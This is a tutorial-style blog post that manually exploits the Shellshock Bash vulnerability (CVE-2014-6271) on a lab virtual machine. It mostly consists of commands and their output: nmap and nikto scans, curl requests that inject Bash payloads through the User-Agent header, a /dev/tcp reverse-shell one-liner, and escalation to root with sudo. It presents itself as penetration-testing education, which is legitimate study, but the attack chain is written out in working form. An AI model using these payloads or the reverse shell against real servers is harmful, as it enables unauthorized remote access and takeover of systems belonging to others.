Manually exploiting the shellshock vulnerability, so that you can get a complete picture about how the exploitation of shellshock works.
It has been given CVE-2014-6271.
The vulnerability is in Bourne Again Shell (BASH) which we call as shellshock also known as Bashdoor.Many services, such as some web server deployments, use Bash to process certain requests, allowing an attacker to cause vulnerable versions of Bash to execute arbitrary commands. This can allow an attacker to gain unauthorized access to a computer system.
At first we need to find cgi's that runs system commands and somehow display them to us, If you follow along you can get a good look at the curl too, because we are going to use it along the way.
To find the cgi's , we can run the dirbuster/dirb/nikto and then after finding all the cgi scripts we can crossverify via the nmap whether the vulnerability actually exists or not, yes the vulnerability is so critical that it has got a nmap nse script for it.
I have setup a vm for this in my virtual lab to demonstrate this.
As usual first we scan the target via nmap(we can do the check here itself, but we'll not we will follow along)

Running nmap:

root@kali:~# nmap -sV -O -sT 

Starting Nmap 7.01 ( ) at 2016-08-19 14:59 IST
Nmap scan report for
Host is up (0.00051s latency).
Not shown: 998 closed ports
22/tcp open  ssh     OpenSSH 6.0 (protocol 2.0)
80/tcp open  http    Apache httpd 2.2.21 ((Unix) DAV/2)
MAC Address: 00:0C:29:19:F6:5E (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.0
Network Distance: 1 hop
now we know what are all the ports open we can run nikto now on port 80 to get a feel what is the scene here.

Running nikto:-

root@kali:~# nikto -host
- Nikto v2.1.6
+ Target IP:
+ Target Hostname:
+ Target Port:        80
+ Start Time:         2016-08-19 15:16:56 (GMT5.5)
+ Uncommon header 'nikto-added-cve-2014-6278' found, with contents: true
+ OSVDB-112004: /cgi-bin/status: Site appears vulnerable to the 'shellshock' vulnerability (
+ OSVDB-112004: /cgi-bin/status: Site appears vulnerable to the 'shellshock' vulnerability (
+ End Time:           2016-08-19 15:17:22 (GMT5.5) (26 seconds)
+ 1 host(s) tested
Now you can see in the result that it shows "/cgi-bin/status" is shellshock vulnerable.

we will cross verify the result with the nmap.

root@kali:~# nmap -p 80 --script=http-shellshock --script-args uri=/cgi-bin/status

Starting Nmap 7.01 ( ) at 2016-08-19 15:23 IST
Nmap scan report for
Host is up (0.00046s latency).
80/tcp open  http
| http-shellshock: 
|   HTTP Shellshock vulnerability
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE:CVE-2014-6271
|       This web application might be affected by the vulnerability known as Shellshock. It seems the server
|       is executing commands injected via malicious HTTP headers.
As both the result of nmap and nikto matches we can go for the exploitation of the shellshock vulnerability.

Lets first find out the poc online, simple google "shellshock poc" will get you the desired result at the top, that will be a github link with so many poc's. the poc i chose is the below one:

env X='() { :; }; echo "CVE-2014-6271 vulnerable"' bash -c id
From now on we will only use curl, not the browser, as i said before i will get you the feel for curl too.

so we will do the curl.

root@kali:~# curl -v -s > /dev/null
*   Trying
* Connected to ( port 80 (#0)
> GET /cgi-bin/status HTTP/1.1
> Host:
> User-Agent: curl/7.47.0
> Accept: */*
< HTTP/1.1 200 OK
< Date: Fri, 19 Aug 2016 15:32:49 GMT
< Server: Apache/2.2.21 (Unix) DAV/2
< Content-Length: 177
< Content-Type: application/json
{ [177 bytes data]
* Connection #0 to host left intact
Now getting a glimpse of the above request below are the parameter that would be needed to successsfuly exploit the vulnerability:

1- The method os reques(like GET /cgi-bin/status HTTP/1.1).
2. The hostname(like Host:
3. we can use the useragent too, but its not required
4. what type of request we are expecting(like Accept: */*).

so now we will try to inject our poc in any of the field above and hope that get executed.

we will try to inject in the User-Agent field first,

Our poc is:

'() { :; }; echo "CVE-2014-6271 vulnerable"' bash -c id
after injecting into User-Agent:

'User-Agent: () { :; }; echo "CVE-2014-6271 vulnerable" bash -c id'
Now lets make the request and hope for the good to happen.

root@kali:~# curl -H 'User-Agent: () { :; }; echo "CVE-2014-6271 vulnerable" bash -c id'
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
misconfiguration and was unable to complete
your request.</p>
<p>Please contact the server administrator, and inform them of the time the error occurred,
and anything you might have done that may have
caused the error.</p>
<p>More information about this error may be available
in the server error log.</p>
now we can see it throughs an error.
Can we give up here, No, becuase i am not, let's try another command by tweaking the command.
we will now give the complete path as we don't know about the environment variables set on the target machine. we will use "/bin/bash" in place of "bash" and will try to ping our attacking ip with the port so that we can listen on netcat, and finally get to know whether this command is working or not.

lets try the below:

'User-Agent: () { :; }; echo "CVE-2014-6271 vulnerable" bash -c id'
'User-Agent: () { :; }; /bin/bash -c 'ping -c 3''
now we will listen on port 1234 on netcat.

nc -lvp 1234

let fire this up:

root@kali:~# nc -lvp 1234
listening on [any] 1234 ...
Now sending the request to the target server:

root@kali:~# curl -H 'User-Agent: () { :; }; /bin/bash -c 'ping -c 3''
Now after sending the request the console stops doesn't give any output, but when we have a good look at our netcat we can see the below:

root@kali:~# nc -lvp 1234
listening on [any] 1234 ...
connect to [] from kali [] 42144
GET / HTTP/1.1
Accept: */*
User-Agent: () { :; }; /bin/bash -c ping
Voila, we are getting the command executed.
Now we know our poc finally works.So now our next task is to get a reverse shell, lets try that too.

lets create a listener on attacking machine on port 1234.

root@kali:~# nc -lvp 1234
listening on [any] 1234 ...
we will use the below command to get a reverse shell, reference from pentestmonkey website.

/bin/bash -i >& /dev/tcp/ 0>&1
fire the below command in the User-Agent

'User-Agent: () { :; }; /bin/bash -c 'ping -c 3''
'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/ 0>&1'
"/bin/bash -i" because we want the command and things to be interactive.

this command is very useful when you don't have any netcat installed on the target machine or server.Make note of this command :-) .

Finally time to blast:

root@kali:~# curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/ 0>&1'
Now have a innocent look on the netcat console:

root@kali:~# nc -lvp 1234
listening on [any] 1234 ... inverse host lookup failed: Unknown host
connect to [] from (UNKNOWN) [] 53743
bash: no job control in this shell
bash-4.2$ id
uid=1000(creep) gid=50(staff) groups=50(staff),100(creep)
Awesome we have a got a reverse shell, we can get the root shell via sudo -s as the user is a part of sudoers.

bash-4.2$ sudo -s
sudo -s
uid=0(root) gid=0(root) groups=0(root)
Finally our main objective was to do shellshock manually which we did successfully

Things are not always easy as shown here we need to try many possibilities like how server behaves, environmental variables and many more. however i hope this aticle will get you to read any exploit available publically and make required modifications as real world senarios are always surprising and if you are not aware of how things work, you can get yourself in trouble.

Have Fun...